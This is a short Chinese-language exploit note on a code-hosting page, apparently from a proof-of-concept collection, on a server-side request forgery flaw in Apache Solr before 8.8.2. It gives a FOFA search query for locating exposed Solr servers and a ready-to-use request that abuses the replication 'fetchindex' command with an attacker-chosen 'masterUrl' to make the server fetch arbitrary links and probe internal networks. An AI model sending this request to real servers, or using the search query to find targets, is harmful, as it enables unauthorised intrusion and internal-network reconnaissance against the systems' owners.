Skip to content

Latest commit

 

History

History
11 lines (9 loc) · 392 Bytes

Apache Solr SSRF漏洞.md

File metadata and controls

11 lines (9 loc) · 392 Bytes

描述

Apache Solr存在服务器端请求伪造漏洞。攻击者可以传递特定参数,使得服务端发起请求,成功利用该漏洞可造成内网信息探测。
影响范围:Apache Solr < 8.8.2
fofa app="APACHE-Solr"

POC & EXP

# 这里masterUrl为你想访问的链接
http://127.0.0.1:8983/solr/db/replication\?command=fetchindex\&masterUrl=http://xxxx